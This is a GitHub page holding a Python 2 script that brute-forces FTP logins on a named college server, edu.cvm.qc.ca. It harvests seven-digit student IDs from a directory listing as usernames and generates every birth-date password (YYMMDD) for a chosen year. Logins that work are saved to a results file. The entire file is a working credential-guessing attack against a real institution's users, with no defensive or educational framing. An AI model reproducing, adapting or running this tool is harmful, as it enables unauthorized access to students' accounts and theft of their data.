forked from TeamGoatDev/cvmpwnCL
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcvmpwnerCL.py
executable file
·243 lines (187 loc) · 5.31 KB
/
cvmpwnerCL.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
import ftplib
import socket
import os
import time
import optparse
import re
def main():
parser = optparse.OptionParser("usage: ./cvmpwnerCL.py "+\
"(-y <year> (-r <results>)) (-l)")
parser.add_option('-y',dest='year', type='string', help="The birth year you want to raid")
parser.add_option('-r',dest='results', type='string', help="The file where to write results")
parser.add_option('-l', action="store_true", dest='list', help="Adds every known users (CVM_dir.txt) to the list of users to test (users.txt)")
(options, args) = parser.parse_args()
server = "edu.cvm.qc.ca"
user_input = "Ressources/lists/CVM_dir.txt"
user_list = "Ressources/lists/users.txt"
pass_list = "Ressources/lists/pass.txt"
if (options.list):
list_users(user_input, user_list)
elif (not options.list and options.year == None):
print parser.usage
return 0
else:
if (options.results == None):
results = "working_login.txt"
else:
results = options.results
year = int(options.year[len(options.year)-2:len(options.year)])
list_pass(year,pass_list)
pwn_that(server,user_list,pass_list,results)
return 0
def pwn_that(server,user_list, pass_list,results):
if not os.path.isfile(results):
f = open(results,"w")
f.close()
socket.setdefaulttimeout(2)
ans = "unknown"
try:
s = socket.socket()
s.connect((server,21))
try:
ans = s.recv(1024)
s.close()
except:
s.close()
pass
except:
print "[-] No service on port 21. Attack stopped."
s.close()
return 0
print "[+] The pwning has begun on "+server+" using "+user_list+" and "+pass_list+"\n\n[+] Service: "+ans
f = open(user_list,"r")
user_text_list = f.readlines()
f.close()
f = open(pass_list,"r")
pass_text_list = f.readlines()
f.close()
user_number = 0
password_number = 0
ligne_user = nombre_ligne(user_list)
ligne_pass = nombre_ligne(pass_list)
usernames = [""] * ligne_user
passwords = [""] * ligne_pass
maxtry = ligne_user * ligne_pass
for username in user_text_list:
usernames[user_number] = username
user_number += 1
for password in pass_text_list:
passwords[password_number] = password
password_number += 1
i = 0
j = 0
success = 0
while i < password_number:
while j < user_number:
try:
ftp = ftplib.FTP(server)
print "[+] Trying combination "+usernames[j][:len(usernames[j])-1]+":"+passwords[i][:len(passwords[i])-1]
ftp.login(usernames[j],passwords[i])
print "[+] Login Found"
f = open(results,"r")
g = f.read()
f.close()
#g = g+usernames[j]+":"+passwords[i]+"\n"
g = g+usernames[j][:len(usernames[j])-1]+":"+passwords[i]
f = open(results,"w")
f.write(g)
f.close()
ftp.quit()
success += 1
j += 1
except KeyboardInterrupt:
print "\n[!] End of operation."
return 0
except:
j += 1
pass
i += 1
j = 0
print "[+] The Attack is done.\nTotal of "+str(success)+" logins found\n\nResults in "+results
def list_pass(year,pass_list):
try:
month = 1
day = 1
f = open(pass_list,"w+")
total_dates = 0
while month < 13:
while day < 32:
if month == 2 and day > 29:
day = 32
elif month == 4 and day > 30:
day = 32
elif month == 6 and day > 30:
day = 32
elif month == 9 and day > 30:
day = 32
elif month == 11 and day > 30:
day = 32
else:
syear = tdigit(year)
smonth = tdigit(month)
sday = tdigit(day)
current_code = syear + smonth + sday
f.write(current_code)
f.write("\n")
total_dates = total_dates + 1
day = day + 1
month = month + 1
day = 1
f.close()
print "[+] You have "+str(total_dates)+" passwords listed"
except:
print "[-] Error! Wrong numbers/password file? :3"
def list_users(user_input,user_list):
print "[+] Updating user list"
f = open(user_input,"r")
if not f:
print "[-] Cant open dictionary file"
return 0
dlist = f.read()
f.close()
size = len(dlist)
f = open(user_list,"w")
if not f:
"[-] Cant open user file"
i = 39
j = 46
k = 0
ulist = ""
p = re.compile("[0-9]{7}")
while j < size:
print dlist[i:j]
#if dlist[i:j] != '20':
if p.match(dlist[i:j]):
ulist += "\n"
ulist += dlist[i:j]
i = i+47
j = j+47
k = k+1
else:
print "[+] Writing to file"
f.write(ulist)
print "[+] Done! You have "+str(k)+" users listed.\n"
print "[!] Remember the data is from the CVM_dir.txt file."
print "[!] If you lost it, you can get it at the root of the ftp by issuing a directory listing command (ls)."
print "[!] You can also insert usernames manually in the file \"users.txt\""
break
def tdigit(numb):
if numb < 10:
final = '0'
final += str(numb)
else:
final = str(numb)
return final
def nombre_ligne(fichier):
f = open(fichier,"r")
texte = f.readlines()
f.close()
l = 0
for line in texte:
l += 1
return l
if __name__ == "__main__":
main()